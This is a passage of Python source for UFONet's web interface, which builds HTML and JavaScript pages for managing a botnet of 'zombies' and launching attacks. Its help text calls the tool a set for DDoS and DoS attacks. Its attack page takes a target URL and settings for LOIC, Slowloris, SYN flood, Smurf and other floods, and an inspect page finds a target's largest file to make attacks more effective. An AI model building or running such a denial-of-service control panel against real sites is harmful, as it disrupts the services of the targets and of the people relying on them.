  2011. <!-- <option value="yandex">yandex</option>-->
  2012. </select></div><div id="allengines_pattern" style="display:block;">
  2013. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div></form>
  2014. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  2015. <br><hr>
  2016. * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
  2017. <td>
  2018. <table cellpadding="5" cellspacing="2">
  2019. <tr>
  2020. <td><img src="/images/aliens/alien3.png" onclick="Blackholes()"></td>
  2021. </tr>
  2022. <tr>
  2023. <table><tr>
  2024. <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  2025. </tr>
  2026. <tr><td><hr></td></tr>
  2027. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  2028. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  2029. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  2030. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  2031. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  2032. </table>
  2033. </table>
  2034. </td>
  2035. </tr></table>
  2036. </td>
  2037. </tr></table>
  2038. <hr>
  2039. <div id="cmdOut"></div>
  2040. """ + self.pages["/footer"]
  2041. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  2042. function Requests() {
  2043. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2044. }
  2045. function Grid() {
  2046. var win_requests = window.open("grid","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2047. }
  2048. function Wargames() {
  2049. var win_requests = window.open("wargames","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2050. }
  2051. function ShowPanel() {
  2052. if (document.getElementById("extra_attack").checked){
  2053. document.getElementById("extra_panel").style.display = "block";
  2054. document.getElementById("loic").value = "";
  2055. document.getElementById("loris").value = "";
  2056. document.getElementById("ufosyn").value = "";
  2057. document.getElementById("spray").value = "";
  2058. document.getElementById("smurf").value = "";
  2059. document.getElementById("xmas").value = "";
  2060. document.getElementById("nuke").value = "";
  2061. document.getElementById("tachyon").value = "";
  2062. document.getElementById("dbstress").value = "";
  2063. } else {
  2064. document.getElementById("extra_panel").style.display = "none";
  2065. document.getElementById("loic").value = "";
  2066. document.getElementById("loris").value = "";
  2067. document.getElementById("ufosyn").value = "";
  2068. document.getElementById("spray").value = "";
  2069. document.getElementById("smurf").value = "";
  2070. document.getElementById("xmas").value = "";
  2071. document.getElementById("nuke").value = "";
  2072. document.getElementById("tachyon").value = "";
  2073. document.getElementById("dbstress").value = "";
  2074. }
  2075. }
  2076. function Maps() {
  2077. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  2078. win_map.resizeTo(screen.width,screen.height);
  2079. }
  2080. function Start(){
  2081. document.getElementById("attack_button").text = "STOP!"
  2082. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  2083. target=document.getElementById("target").value
  2084. String.prototype.startsWith = function(prefix){
  2085. return this.indexOf(prefix) === 0;
  2086. }
  2087. if(target.startsWith("http")){
  2088. path=document.getElementById("path").value
  2089. rounds=document.getElementById("rounds").value
  2090. dbstress=document.getElementById("dbstress").value
  2091. loic=document.getElementById("loic").value
  2092. loris=document.getElementById("loris").value
  2093. ufosyn=document.getElementById("ufosyn").value
  2094. spray=document.getElementById("spray").value
  2095. smurf=document.getElementById("smurf").value
  2096. xmas=document.getElementById("xmas").value
  2097. nuke=document.getElementById("nuke").value
  2098. tachyon=document.getElementById("tachyon").value
  2099. if(ufosyn || spray || smurf || xmas || nuke || tachyon){ // root required!
  2100. window.alert("You need 'root' access!. Check shell and enter your password.");
  2101. }
  2102. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)
  2103. if (document.getElementById("visual_attack").checked){
  2104. document.getElementById("visual_attack").value = "on";
  2105. } else {
  2106. document.getElementById("visual_attack").value = "off";
  2107. }
  2108. if(document.getElementById("visual_attack").value=="on"){
  2109. Maps()
  2110. }
  2111. }else{
  2112. window.alert("You need to enter a valid url: http(s)://target.com");
  2113. return
  2114. }
  2115. runCommandX("cmd_attack",params)
  2116. }
  2117. </script>
  2118. </head>
  2119. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2120. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2121. <center>
  2122. <table cellpadding="38" cellspacing="38">
  2123. <tr>
  2124. <td>
  2125. <div class="ringMenu">
  2126. <ul>
  2127. <li class="main"><a href="attack">Attack</a></li>
  2128. <li class="top"><a href="help">Help</a></li>
  2129. <li class="right"><a href="botnet">Botnet</a></li>
  2130. <li class="bottom"><a href="inspect">Inspect</a></li>
  2131. <li class="left"><a href="gui">RETURN</a></li>
  2132. </ul>
  2133. </div>
  2134. </td>
  2135. <td>
  2136. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2137. <tr><td>
  2138. <pre>
  2139. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  2140. * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  2141. * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  2142. <hr>
  2143. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  2144. <hr><div id="extra_panel" style="display:none;">
  2145. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  2146. <td align="left">* <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  2147. <td align="left">* <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  2148. <td align="left">* <a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td></tr><tr>
  2149. <td align="left">* <a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  2150. <td align="left">* <a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  2151. <td align="left">* <a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td></tr><tr>
  2152. <td align="left">* <a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="10000"></td>
  2153. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="1000"></td></tr>
  2154. </table>
  2155. <hr>
  2156. * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  2157. <hr></div>
  2158. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  2159. </td><td>
  2160. <table><tr><td><img src="/images/aliens/alien6.png" onclick="Grid()"></td></tr><tr><td><img src="/images/aliens/alien8.png" onclick="Wargames()"></td></tr></table>
  2161. </td></tr></table>
  2162. </td></tr></table>
  2163. <hr>
  2164. <div id="cmdOut"></div>
  2165. """ + self.pages["/footer"]
  2166. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  2167. function show(one) {
  2168. var nb = document.getElementsByTagName("div");
  2169. for(var x=0; x<nb.length; x++) {
  2170. name = nb[x].getAttribute("class");
  2171. if (name == 'nb') {
  2172. if (nb[x].id == one) {
  2173. nb[x].style.display = 'block';
  2174. }
  2175. else {
  2176. nb[x].style.display = 'none';
  2177. }
  2178. }
  2179. }
  2180. }
  2181. </script>
  2182. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  2183. </head>
  2184. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2185. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2186. <center>
  2187. <table cellpadding="38" cellspacing="38">
  2188. <tr>
  2189. <td>
  2190. <div class="ringMenu">
  2191. <ul>
  2192. <li class="main"><a href="help">Help</a></li>
  2193. <li class="top"><a href="botnet">Botnet</a></li>
  2194. <li class="right"><a href="inspect">Inspect</a></li>
  2195. <li class="bottom"><a href="attack">Attack</a></li>
  2196. <li class="left"><a href="gui">RETURN</a></li>
  2197. </ul>
  2198. </div>
  2199. </td>
  2200. <td>
  2201. <table cellpadding="24" cellspacing="25" border="1">
  2202. <tr><td><pre>
  2203. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  2204. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - is a set of tools designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks
  2205. and that allows to combine both in a single offensive.
  2206. </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
  2207. - <a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
  2208. - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
  2209. - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
  2210. - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
  2211. - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
  2212. This feature can be used <u>ONLY</u> if you have cloned UFONet.
  2213. - <i>git clone <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">https://code.03c8.net/epsylon/ufonet</a></i>
  2214. - <i>git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></i>
  2215. </div><div>
  2216. <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Issues?</a></div><div class="nb" id="nb5" style="display: none;">
  2217. If you have problems with UFONet, try to solve them following next links:
  2218. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
  2219. - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">issues</a></div>
  2220. <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  2221. - Coding; you can try to develop more features
  2222. - Promoting; talk about UFONet on the internet, events, hacklabs, etc
  2223. - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
  2224. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  2225. - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  2226. </div></td> </tr></table> </td></tr></table>
  2227. """ + self.pages["/footer"]
  2228. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  2229. function Requests() {
  2230. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2231. }
  2232. function Abduction() {
  2233. var win_requests = window.open("abduction","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2234. }
  2235. function Start(){
  2236. target=document.getElementById("target").value
  2237. String.prototype.startsWith = function(prefix){
  2238. return this.indexOf(prefix) === 0;
  2239. }
  2240. if(target.startsWith("http")){
  2241. params="target="+escape(target)
  2242. }else{
  2243. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  2244. return
  2245. }
  2246. runCommandX("cmd_inspect",params)
  2247. }
  2248. </script>
  2249. </head>
  2250. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2251. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2252. <center>
  2253. <table cellpadding="38" cellspacing="38">
  2254. <tr>
  2255. <td>
  2256. <div class="ringMenu">
  2257. <ul>
  2258. <li class="main"><a href="inspect">Inspect</a></li>
  2259. <li class="top"><a href="help">Help</a></li>
  2260. <li class="right"><a href="botnet">Botnet</a></li>
  2261. <li class="bottom"><a href="attack">Attack</a></li>
  2262. <li class="left"><a href="gui">RETURN</a></li>
  2263. </ul>
  2264. </div>
  2265. </td>
  2266. <td>
  2267. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2268. <tr>
  2269. <td>
  2270. <pre>
  2271. This feature will provide you the biggest file on target.
  2272. You can use this before to attack to be more effective.
  2273. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2274. <hr>
  2275. * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  2276. <hr>
  2277. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  2278. </td><td><img src="/images/aliens/alien7.png" onclick="Abduction()"></td>
  2279. </tr></table>
  2280. </td>
  2281. </tr>
  2282. </table>
  2283. <hr>
  2284. <div id="cmdOut"></div>
  2285. """ + self.pages["/footer"]
  2286. self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
  2287. function Grid() {
  2288. var win_requests = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2289. }
  2290. function Stats() {
  2291. var win_requests = window.open("stats","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2292. }
  2293. function Sync_ranking(){
  2294. ranking_source=document.getElementById("ranking_source").value
  2295. if(ranking_source == "") {
  2296. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2297. return
  2298. }else{
  2299. params="ranking_source="+escape(ranking_source)
  2300. runCommandX("cmd_refresh_ranking",params)
  2301. document.getElementById("nb1").style.display = "none";
  2302. document.getElementById("nb1").style.display = "block";
  2303. setTimeout("location.reload()", 10000)
  2304. }
  2305. }
  2306. </script></head>
  2307. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2308. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2309. <center>
  2310. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2311. <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src="/images/commander.png"></a></td>
  2312. <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button></td>
  2313. </tr></table>
  2314. <table cellpadding="5" cellspacing="10">
  2315. <tr>
  2316. <td align="center">
  2317. Your ranking is: <b>""" + str(self.ranking) + """</b>
  2318. </td>
  2319. </tr>
  2320. <tr>
  2321. <td>
  2322. <table border="1" cellpadding="10" cellspacing="10">
  2323. <tr>
  2324. <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
  2325. <tr>
  2326. <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
  2327. <tr>
  2328. <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
  2329. <tr>
  2330. <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
  2331. <tr>
  2332. <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
  2333. <tr>
  2334. <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
  2335. <tr>
  2336. <td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
  2337. </table>
  2338. </td>
  2339. </tr></table>
  2340. <br>
  2341. <table cellpadding="5" cellspacing="10">
  2342. <tr>
  2343. <td>Blackhole/IP:</td>
  2344. <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
  2345. <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
  2346. </tr></table>
  2347. <br>
  2348. <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
  2349. Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
  2350. <div id="cmdOut"></div>
  2351. <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
  2352. <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
  2353. <td>
  2354. </td><td>
  2355. <table border="1" cellpadding="5" cellspacing="10">
  2356. <tr>
  2357. <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
  2358. <tr>
  2359. <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
  2360. <tr>
  2361. <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
  2362. <tr>
  2363. <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
  2364. <tr>
  2365. <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
  2366. <tr>
  2367. <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
  2368. <tr>
  2369. <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
  2370. </table>
  2371. </td><td>
  2372. <table border="1" cellpadding="5" cellspacing="10">
  2373. <tr>
  2374. <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
  2375. <tr>
  2376. <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
  2377. <tr>
  2378. <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
  2379. <tr>
  2380. <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
  2381. <tr>
  2382. <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
  2383. <tr>
  2384. <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
  2385. </table>
  2386. </td><td>
  2387. <table border="1" cellpadding="5" cellspacing="10">
  2388. <tr>
  2389. <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
  2390. <tr>
  2391. <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
  2392. <tr>
  2393. <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
  2394. <tr>
  2395. <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
  2396. </table>
  2397. </td><td>
  2398. <table border="1" cellpadding="5" cellspacing="10">
  2399. <tr>
  2400. <td><b><u>AI_SUGGESTION:</u></b></td></tr>
  2401. <tr>
  2402. <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
  2403. </table>
  2404. </td>
  2405. </tr></table>
  2406. </center>
  2407. <hr>
  2408. """ + self.pages["/footer"]
  2409. self.pages["/lib.js"] = """function loadXMLDoc() {
  2410. var xmlhttp;
  2411. if (window.XMLHttpRequest) {
  2412. // code for IE7+, Firefox, Chrome, Opera, Safari
  2413. xmlhttp = new XMLHttpRequest();
  2414. } else {
  2415. // code for IE6, IE5
  2416. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2417. }
  2418. xmlhttp.onreadystatechange = function() {
  2419. if (xmlhttp.readyState == 4 ) {
  2420. if(xmlhttp.status == 200){
  2421. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2422. setTimeout("loadXMLDoc()", 3000);
  2423. }
  2424. }
  2425. }
  2426. xmlhttp.send();
  2427. }
  2428. function runCommandX(cmd,params) {
  2429. var xmlhttp;
  2430. if (window.XMLHttpRequest) {
  2431. // code for IE7+, Firefox, Chrome, Opera, Safari
  2432. xmlhttp = new XMLHttpRequest();
  2433. } else {
  2434. // code for IE6, IE5
  2435. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2436. }
  2437. xmlhttp.onreadystatechange = function() {
  2438. if (xmlhttp.readyState == 4 ) {
  2439. if(xmlhttp.status == 200){
  2440. if(cmd.indexOf("?")!=-1){
  2441. s=cmd.split("?")
  2442. cmd=s[0]
  2443. params=s[1]
  2444. }
  2445. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2446. //document.getElementById("cmdOut").scrollIntoView();
  2447. newcmd=cmd
  2448. if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army
  2449. return;
  2450. } else {
  2451. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  2452. //do not refresh if certain text on response is found
  2453. if(newcmd.match(/update/) &&
  2454. (
  2455. xmlhttp.responseText.match(/Generating random exit/) ||
  2456. xmlhttp.responseText.match(/Biggest File/) ||
  2457. xmlhttp.responseText.match(/Abduction finished/) ||
  2458. xmlhttp.responseText.match(/Not any zombie active/) ||
  2459. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  2460. xmlhttp.responseText.match(/Unable to connect to target/) ||
  2461. xmlhttp.responseText.match(/Something wrong/) ||
  2462. xmlhttp.responseText.match(/Target url not valid/) ||
  2463. xmlhttp.responseText.match(/updated/) ||
  2464. xmlhttp.responseText.match(/For HELP use:/) ||
  2465. xmlhttp.responseText.match(/Not any .git repository found/) ||
  2466. xmlhttp.responseText.match(/End of /) ||
  2467. xmlhttp.responseText.match(/Exiting /) ||
  2468. xmlhttp.responseText.match(/Bye/)
  2469. )
  2470. ) return;
  2471. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  2472. return;}
  2473. }
  2474. }
  2475. }
  2476. if(typeof params != "undefined") cmd=cmd+"?"+params
  2477. xmlhttp.open("GET", cmd, true);
  2478. xmlhttp.send();
  2479. }
  2480. """
  2481. self.pages["/requests"] = self.html_requests()
  2482. self.pages["/board_profile"] = self.html_board_profile()
  2483. self.pages["/grid_profile"] = self.html_grid_profile()
  2484. def buildGetParams(self, request):
  2485. params = {}
  2486. path = re.findall("^GET ([^\s]+)", request)
  2487. if path:
  2488. path = path[0]
  2489. start = path.find("?")
  2490. if start != -1:
  2491. if path[start+1:start+7] == "zombie":
  2492. params['zombie']=path[start+8:]
  2493. return params
  2494. if path[start+1:start+7] == "target":
  2495. params['target']=path[start+8:]
  2496. return params
  2497. for param in path[start+1:].split("&"):
  2498. f = param.split("=")
  2499. if len(f) == 2:
  2500. var = f[0]
  2501. value = f[1]
  2502. value = value.replace("+", " ")
  2503. value = urllib.unquote(value)
  2504. params[var] = value
  2505. return params
  2506. def save_profile(self,pGet):
  2507. # set values for profile configuration from html form to json file
  2508. if "profile_token" in pGet.keys():
  2509. profile_token = pGet["profile_token"]
  2510. else:
  2511. profile_token = self.profile_token
  2512. if "profile_icon" in pGet.keys():
  2513. profile_icon = pGet["profile_icon"]
  2514. else:
  2515. profile_icon = self.profile_icon
  2516. if "profile_nick" in pGet.keys():
  2517. profile_nick = pGet["profile_nick"]
  2518. else:
  2519. profile_nick = self.profile_nick
  2520. # set new values on boardcfg json file
  2521. with open(self.mothership_boardcfg_file, "w") as f:
  2522. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  2523. def save_grid(self,pGet):
  2524. # set values for profile configuration from html form to json file
  2525. if "grid_token" in pGet.keys():
